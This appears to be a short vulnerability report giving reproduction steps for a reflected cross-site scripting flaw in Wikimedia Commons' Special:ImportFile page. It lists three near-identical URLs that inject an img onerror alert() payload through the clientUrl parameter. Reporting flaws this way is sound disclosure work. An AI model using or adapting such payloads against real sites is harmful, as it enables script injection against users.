Change Details

Go to https://commons.wikimedia.org/wiki/Special:ImportFile?clientUrl=https://en.wikipedia.org/<img/src=/onerror=alert()> and view the alert popup.

Go to https://commons.wikimedia.org/wiki/Special:ImportFile?clientUrl=https://en.wikipedia.org/<img/src/onerror=alert()> and view the alert popup.

Go to https://commons.wikimedia.org/wiki/Special:ImportFile?clientUrl=https://en.wikipedia.org/<img/src=/onerror=alert()> and view the alert popup.